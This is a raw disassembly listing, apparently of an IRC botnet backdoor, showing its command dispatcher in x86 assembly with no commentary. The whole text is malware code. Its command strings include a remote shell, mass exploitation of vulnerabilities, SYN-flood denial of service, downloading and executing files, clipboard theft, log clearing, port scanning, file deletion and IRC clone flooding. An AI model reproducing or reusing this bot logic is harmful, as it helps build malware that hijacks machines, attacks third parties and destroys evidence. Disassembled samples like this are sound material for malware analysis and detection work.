		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA12
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A00D
		call	sub_406961
		test	eax, eax
		mov	eax, offset dword_42BB24
		jnz	short loc_409FDF
		mov	eax, offset dword_42BAEC


loc_409FDF:				; CODE XREF: seg000:00409FD8j
		push	eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 1Ch
		jmp	loc_40C159
; ---------------------------------------------------------------------------


loc_40A00D:				; CODE XREF: seg000:00409FCAj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D921
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D921
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D901
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D901
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D811
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D811
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7F5
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7F5
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7BE
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7BE
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D793
		push	edi
		push	offset aSi	; "si"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D793
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D759
		push	edi
		push	offset aEnz_010	; "enz.010`"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D759
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D636
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D636
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D5B2
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D5B2
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D595
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D595
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D57C
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D57C
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D535
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D535
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A22E
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_40A22E:				; CODE XREF: seg000:0040A214j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A2BB
		cmp	[ebp-8], ebx
		jnz	short loc_40A25E
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40A25E:				; CODE XREF: seg000:0040A242j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A263:				; CODE XREF: seg000:0040A2A9j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40A26F
		mov	eax, offset aEmpty ; "<Empty>"


loc_40A26F:				; CODE XREF: seg000:0040A268j
		push	eax
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4104AF
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A263
		push	offset dword_42B960


loc_40A2B0:				; CODE XREF: seg000:0040DA0Dj
		call	sub_407AB1
		pop	ecx
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40A2BB:				; CODE XREF: seg000:0040A23Dj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4F4
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4F4
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4C9
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4C9
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4A5
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4A5
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D468
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D468
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2CE
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2CE
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D182
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D182
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE83
		push	edi
		push	offset aVv	; "vv"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE83
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_4093BE
		push	dword ptr [ebp+18h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE6A
		push	dword ptr [ebp+18h]
		push	offset aEnz_n	; "enz.n"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE6A
		push	dword ptr [ebp+18h]
		push	offset aEnz_join ; "enz.join"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE4A
		push	dword ptr [ebp+18h]
		push	offset aEnz_j	; "enz.j"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE4A
		push	dword ptr [ebp+18h]
		push	offset aEnz_part ; "enz.part"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE31
		push	dword ptr [ebp+18h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE31
		push	dword ptr [ebp+18h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDFA
		push	dword ptr [ebp+18h]
		push	offset aEnz_r	; "enz.r"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDFA
		push	dword ptr [ebp+18h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD37
		push	dword ptr [ebp+18h]
		push	offset aThreads_k ; "threads.k"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD37
		push	dword ptr [ebp+18h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC8C
		push	dword ptr [ebp+18h]
		push	offset aClone_q	; "clone.q"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC8C
		push	dword ptr [ebp+18h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC41
		push	dword ptr [ebp+18h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC41
		push	dword ptr [ebp+18h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC2C
		push	dword ptr [ebp+18h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC2C
		push	dword ptr [ebp+18h]
		push	offset aBox_open ; "box.open"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC02
		push	dword ptr [ebp+18h]
		push	offset aBox_o	; "box.o"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC02
		push	dword ptr [ebp+18h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBDD
		push	dword ptr [ebp+18h]
		push	offset aEnz_se	; "enz.se"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBDD
		push	dword ptr [ebp+18h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB7B
		push	dword ptr [ebp+18h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB7B
		push	dword ptr [ebp+18h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB4F
		push	dword ptr [ebp+18h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB4F
		push	dword ptr [ebp+18h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAF4
		push	dword ptr [ebp+18h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAF4
		push	dword ptr [ebp+18h]
		push	offset aBox_delete ; "box.delete"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CABD
		push	dword ptr [ebp+18h]
		push	offset aBox_del	; "box.del"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CABD
		push	dword ptr [ebp+18h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAA2
		push	dword ptr [ebp+18h]
		push	offset aBox_fl	; "box.fl"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAA2
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA67
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA67
		push	dword ptr [ebp+18h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA1C
		push	dword ptr [ebp+18h]
		push	offset aBox_cm	; "box.cm"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA1C
		push	dword ptr [ebp+18h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C997
		push	dword ptr [ebp+18h]
		push	offset aBox_rf	; "box.rf"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C997
		push	dword ptr [ebp+18h]
		push	offset aBox_net	; "box.net"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A9C8
		cmp	ds:dword_42FAE8, ebx
		jz	short loc_40A75D
		cmp	ds:dword_42FB10, ebx
		jz	short loc_40A75D
		push	offset dword_42B6D0
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A75D:				; CODE XREF: seg000:0040A749j
					; seg000:0040A751j
		cmp	[ebp-0Ch], ebx
		jz	loc_40B07C
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40A785
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_4109F0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40A785:				; CODE XREF: seg000:0040A775j
		push	edi
		push	offset aStart	; "start"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A7EB
		cmp	[ebp+20h], ebx
		jz	short loc_40A7BF
		push	dword ptr [ebp+8]
		push	3


loc_40A7A0:				; CODE XREF: seg000:0040A801j
					; seg000:0040A819j ...
		call	sub_40E04D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4104AF
		add	esp, 14h
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40A7BF:				; CODE XREF: seg000:0040A799j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40E2F4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A7E1
		push	offset dword_42B698
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A7E1:				; CODE XREF: seg000:0040A7D5j
		push	offset dword_42B664
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A7EB:				; CODE XREF: seg000:0040A794j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A803
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40A7A0
; ---------------------------------------------------------------------------


loc_40A803:				; CODE XREF: seg000:0040A7FAj
		push	edi
		push	offset aPause	; "pause"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A81B
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40A7A0
; ---------------------------------------------------------------------------


loc_40A81B:				; CODE XREF: seg000:0040A812j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A836
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40A7A0
; ---------------------------------------------------------------------------


loc_40A836:				; CODE XREF: seg000:0040A82Aj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A851
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40A7A0
; ---------------------------------------------------------------------------


loc_40A851:				; CODE XREF: seg000:0040A845j
		push	edi
		push	offset aShare	; "share"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A8CE
		cmp	[ebp+20h], ebx
		jz	short loc_40A8A1
		cmp	[ebp-9B0h], bl
		jz	short loc_40A877
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40A882
; ---------------------------------------------------------------------------


loc_40A877:				; CODE XREF: seg000:0040A86Dj
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40A882:				; CODE XREF: seg000:0040A875j
		call	sub_40E431
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4104AF
		add	esp, 18h
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40A8A1:				; CODE XREF: seg000:0040A865j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40E626
		add	esp, 10h
		test	eax, eax
		jz	short loc_40A8C4
		push	offset dword_42B610
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A8C4:				; CODE XREF: seg000:0040A8B8j
		push	offset dword_42B5DC
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A8CE:				; CODE XREF: seg000:0040A860j
		push	edi
		push	offset aUser	; "user"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A970
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40A943
		cmp	[ebp-9B0h], bl
		jz	short loc_40A904
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40A924
; ---------------------------------------------------------------------------


loc_40A904:				; CODE XREF: seg000:0040A8F0j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40A920
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40A924
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: seg000:0040A919j
		push	ebx
		push	eax
		push	2


loc_40A924:				; CODE XREF: seg000:0040A902j
					; seg000:0040A91Ej
		call	sub_40E747
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4104AF
		add	esp, 24h
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40A943:				; CODE XREF: seg000:0040A8E8j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40EC5B
		add	esp, 10h
		test	eax, eax
		jz	short loc_40A966
		push	offset dword_42B5A0
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A966:				; CODE XREF: seg000:0040A95Aj
		push	offset dword_42B570
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A970:				; CODE XREF: seg000:0040A8DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A9BE
		cmp	[ebp+20h], ebx
		jz	short loc_40A9B4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40EF0F
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		jmp	loc_40B07C
; ---------------------------------------------------------------------------


loc_40A9B4:				; CODE XREF: seg000:0040A984j
		push	offset dword_42B53C
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A9BE:				; CODE XREF: seg000:0040A97Fj
		push	offset dword_42B50C
		jmp	loc_40C1F3
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: seg000:0040A73Dj
		push	dword ptr [ebp+18h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8B3
		push	dword ptr [ebp+18h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8B3
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_4093BE
		push	dword ptr [ebp+18h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C874
		push	dword ptr [ebp+18h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C874
		push	dword ptr [ebp+18h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C821
		push	dword ptr [ebp+18h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C821
		push	dword ptr [ebp+18h]
		push	offset aEnz_action ; "enz.action"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7B3
		push	dword ptr [ebp+18h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C7B3
		push	dword ptr [ebp+18h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C750
		push	dword ptr [ebp+18h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C750
		push	dword ptr [ebp+18h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C711
		push	dword ptr [ebp+18h]
		push	offset aEnz_m	; "enz.m"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C711
		push	dword ptr [ebp+18h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C6A6
		push	dword ptr [ebp+18h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C6A6
		push	dword ptr [ebp+18h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C624
		push	dword ptr [ebp+18h]
		push	offset aClone_m	; "clone.m"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C624
		push	dword ptr [ebp+18h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5B3
		push	dword ptr [ebp+18h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5B3
		push	dword ptr [ebp+18h]
		push	offset aClone_join ; "clone.join"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C58D
		push	dword ptr [ebp+18h]
		push	offset aClone_j	; "clone.j"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C58D
		push	dword ptr [ebp+18h]
		push	offset aClone_part ; "clone.part"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C52A
		push	dword ptr [ebp+18h]
		push	offset aClone_p	; "clone.p"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C52A
		push	dword ptr [ebp+18h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C464
		push	dword ptr [ebp+18h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C464
		push	dword ptr [ebp+18h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3C9
		push	dword ptr [ebp+18h]
		push	offset aEnz_de	; "enz.de"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3C9
		push	dword ptr [ebp+18h]
		push	offset aDownload_up010 ; "download.up010"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C211
		push	dword ptr [ebp+18h]
		push	offset aDownload_010 ; "download.010`"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C211
		push	dword ptr [ebp+18h]
		push	offset aBox_execute ; "box.execute"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C170
		push	dword ptr [ebp+18h]
		push	offset aBox_e	; "box.e"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C170
		push	dword ptr [ebp+18h]
		push	offset aBox_rename ; "box.rename"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0EC
		push	dword ptr [ebp+18h]
		push	offset aBox_mv	; "box.mv"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0EC
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_4093BE
		push	dword ptr [ebp+18h]
		push	offset aClone_make ; "clone.make"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C001
		push	dword ptr [ebp+18h]
		push	offset aClone_start ; "clone.start"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C001
		push	dword ptr [ebp+18h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF03
		push	dword ptr [ebp+18h]
		push	offset aSy1	; "sy1"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BF03
		push	dword ptr [ebp+18h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDB9
		push	dword ptr [ebp+18h]
		push	offset aD1	; "d1"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDB9
		push	dword ptr [ebp+18h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BCBF
		push	dword ptr [ebp+18h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BCBF
		push	dword ptr [ebp+18h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BBCC
		push	dword ptr [ebp+18h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BBCC
		push	dword ptr [ebp+18h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BAF7
		push	dword ptr [ebp+18h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BAF7
		push	dword ptr [ebp+18h]
		push	offset aClone_action ; "clone.action"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
